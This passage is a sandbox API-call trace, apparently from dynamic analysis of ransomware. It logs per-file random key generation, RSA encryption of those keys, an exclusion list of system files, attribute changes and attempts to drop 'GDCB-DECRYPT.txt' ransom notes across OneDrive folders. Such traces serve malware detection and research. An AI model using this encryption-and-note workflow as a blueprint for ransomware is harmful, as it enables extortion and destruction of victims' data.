szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.814] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.814] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.814] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.816] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635c18) returned 1 [0171.816] CryptGetKeyParam (in: hKey=0x635c18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.816] CryptEncrypt (in: hKey=0x635c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e70000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2e70000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.816] GetLastError () returned 0x0 [0171.816] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.816] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0171.818] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635f58) returned 1 [0171.818] CryptGetKeyParam (in: hKey=0x635f58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.818] CryptEncrypt (in: hKey=0x635f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e80000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2e80000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.818] GetLastError () returned 0x0 [0171.819] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.819] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.819] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif") returned 274 [0171.819] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif") returned 274 [0171.819] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif") returned 274 [0171.819] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif") returned 274 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="desktop.ini") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="autorun.inf") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="ntuser.dat") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="iconcache.db") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="bootsect.bak") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="boot.ini") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="ntuser.dat.log") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="thumbs.db") returned -1 [0171.819] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.819] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif")) returned 0xffffffff [0171.819] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif", dwFileAttributes=0xfffffffe) returned 0 [0171.819] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.820] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.820] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.820] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.820] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.821] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.821] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.821] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.823] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6362d8) returned 1 [0171.823] CryptGetKeyParam (in: hKey=0x6362d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.823] CryptEncrypt (in: hKey=0x6362d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e90000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2e90000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.823] GetLastError () returned 0x0 [0171.823] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.823] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.825] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635f18) returned 1 [0171.825] CryptGetKeyParam (in: hKey=0x635f18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.825] CryptEncrypt (in: hKey=0x635f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ea0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2ea0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.825] GetLastError () returned 0x0 [0171.825] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.825] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.825] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png") returned 274 [0171.826] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png") returned 274 [0171.826] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png") returned 274 [0171.826] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png") returned 274 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="desktop.ini") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="autorun.inf") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="ntuser.dat") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="iconcache.db") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="bootsect.bak") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="boot.ini") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="ntuser.dat.log") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="thumbs.db") returned -1 [0171.826] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.826] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png")) returned 0xffffffff [0171.826] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png", dwFileAttributes=0xfffffffe) returned 0 [0171.826] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0171.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.827] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.827] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.827] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.828] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.828] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.828] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.830] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635ed8) returned 1 [0171.830] CryptGetKeyParam (in: hKey=0x635ed8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.830] CryptEncrypt (in: hKey=0x635ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eb0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2eb0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.830] GetLastError () returned 0x0 [0171.830] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.830] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.832] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635d98) returned 1 [0171.832] CryptGetKeyParam (in: hKey=0x635d98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.832] CryptEncrypt (in: hKey=0x635d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ec0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2ec0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.832] GetLastError () returned 0x0 [0171.832] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.832] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.832] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\CollectOneDriveLogs.bat") returned 280 [0171.832] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\CollectOneDriveLogs.bat") returned 280 [0171.832] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ETWlog.dll") returned 267 [0171.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ETWlog.dll") returned 267 [0171.833] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml") returned 274 [0171.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml") returned 274 [0171.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml") returned 274 [0171.833] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml") returned 274 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="desktop.ini") returned 1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="autorun.inf") returned 1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="ntuser.dat") returned -1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="iconcache.db") returned -1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="bootsect.bak") returned 1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="boot.ini") returned 1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="ntuser.dat.log") returned -1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="thumbs.db") returned -1 [0171.833] lstrcmpiW (lpString1="ExclusionList.xml", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.833] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml")) returned 0xffffffff [0171.833] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.833] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.834] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.834] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.834] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.834] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.834] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.835] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.835] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.837] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636198) returned 1 [0171.837] CryptGetKeyParam (in: hKey=0x636198, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.837] CryptEncrypt (in: hKey=0x636198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ed0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2ed0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.837] GetLastError () returned 0x0 [0171.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.837] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.839] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635dd8) returned 1 [0171.839] CryptGetKeyParam (in: hKey=0x635dd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.839] CryptEncrypt (in: hKey=0x635dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2ee0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.839] GetLastError () returned 0x0 [0171.839] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.840] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.840] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.840] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\is\\\\GDCB-DECRYPT.txt") returned 277 [0171.840] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\is\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\is\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.840] GetLastError () returned 0x3 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.841] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\it\\\\GDCB-DECRYPT.txt") returned 277 [0171.841] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\it\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application 